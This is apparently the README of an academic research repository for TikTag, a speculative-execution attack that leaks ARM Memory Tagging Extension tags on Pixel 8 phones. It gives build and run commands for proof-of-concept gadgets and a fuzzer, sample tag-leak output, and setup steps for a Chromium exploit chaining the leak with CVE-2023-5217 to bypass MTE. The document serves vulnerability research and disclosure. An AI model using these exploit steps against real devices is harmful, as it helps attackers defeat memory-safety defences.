ARM Memory Tagging Extension (MTE) is an ARMv8.5-A feature designed to mitigate memory corruption attacks. TikTag gadget breaks MTE by leaking MTE tags through speculative execution. When TikTag gadgets are speculatively executed, cache state differs depending on whether the gadgets trigger a tag check fault or not. Therefore, by observing the cache states, it is possible to leak the tag check results without raising any exceptions. The gadgets were effective on both Pixel 8 and Pixel 8 pro, which are the first officially MTE-enabled hardware.
Build environment: x86_64 GNU/Linux
Set GCC_TOOLCHAIN
to the path of ARM GCC toolchin, e.g., gcc-arm-10.3-2021.07-x86_64-aarch64-none-linux-gnu
.
Run ./build.sh
to build the gadgets and the fuzzer:
TIMER
=0: Virtual timer (default, no kernel modification required)TIMER
=1: Cycle timer (requires kernel modification, e.g.,kenable-pmu.c
, to enable user-space access to cycle counter)
We referenced Project Zero's MTE implementation test for the environment setup (e.g., code generation, time measurement, cache flush).
# On the host
$ ./build.sh
# On the Pixel device
$ cd /data/local/tmp
$ ./poc <test_cpu> <iterations> <MTE mode (0:sync, 1:async)> <gadget>
test_cpu
=8 (Cortex-X3)- Gadget 1 (
gadget
=1): Exploiting Speculation Shrinkage - Gadget 1 variant 1 (
gadget
=11) - Gadget 1 variant 2 (
gadget
=12)
- Gadget 1 (
test_cpu
=4-7 (Cortex-A715)- Gadget 2: Exploiting Store-To-Load Forwarding (
gadget
=2)
- Gadget 2: Exploiting Store-To-Load Forwarding (
Assume the poc
file is built with TIMER
=0 (virtual timer). The
result shows for each guess of the tag value (Tag), the hit rate
(HIT) and access latency (LAT) of the affected cache line. The
tag value with the highest hit rate is the correct tag value.
Testing Gadget 1 on Pixel 8:
$ ./poc 8 1000 0 1
Generate G1
Tag HIT LAT
0 0.81 1.48
1 0.84 1.33
2 0.84 1.34
3 0.85 1.33
4 0.85 1.35
5 0.85 1.32
6 0.85 1.33
7 0.85 1.34
8 0.99 0.82
9 0.84 1.36
10 0.84 1.37
11 0.83 1.38
12 0.84 1.35
13 0.84 1.35
14 0.83 1.37
15 0.84 1.36
Leaked Tag: 8
Correct Tag: 8
...
Testing Gadget 2 on Pixel 8:
$ ./poc 4 1000 0 2
Generate G2
Tag HIT LAT
0 0.00 5.38
1 0.00 5.17
2 0.00 5.19
3 0.00 5.17
4 0.00 5.20
5 0.00 5.17
6 0.00 5.17
7 0.00 5.15
8 0.00 5.30
9 0.00 5.23
10 0.00 5.16
11 0.97 1.03
12 0.00 5.17
13 0.00 5.18
14 0.00 5.16
15 0.00 5.15
Leaked Tag: 11
Correct Tag: 11
...
We referenced Revizor and armshaker for the fuzzer implementation.
We leveraged libopcodes
to mutate and verify the AArch64 assembly gadgets.
# On the host
$ ./build.sh
# On the Pixel device
$ cd /data/local/tmp/fuzzer
$ ./run-fuzzer.sh
We crafted a TikTag-v2 gadget in JavaScript that can leak the tag of the entire renderer process memory space. Utilizing the leaked tag, this PoC exploits the recent heap overflow vulnerability CVE-2023-5217 in the libvpx library to bypass the MTE protection and trigger the memory corruption.
The exploit was effective on Chromium version 125.0.6422.231, with
several modifications to backport CVE-2023-5217 in libvpx and get
renderer object address by browser-exploit/chromium.patch
.
Set up the PoC:
$ pushd browser-exploit
$ npm install express serve-static yargs
$ node server.js
On the Pixel device:
- Enable MTE on the Chromium browser (see https://googleprojectzero.blogspot.com/2023/11/first-handset-with-mte-on-market.html).
- Open the browser and visit
https://<host>:8000
.
On the host:
- Check the debugging log with
./chrome_public_apk logcat -d <Device id>
andchrome://inspect
.
TikTag: Breaking ARM's Memory Tagging Extension with Speculative Execution (under review)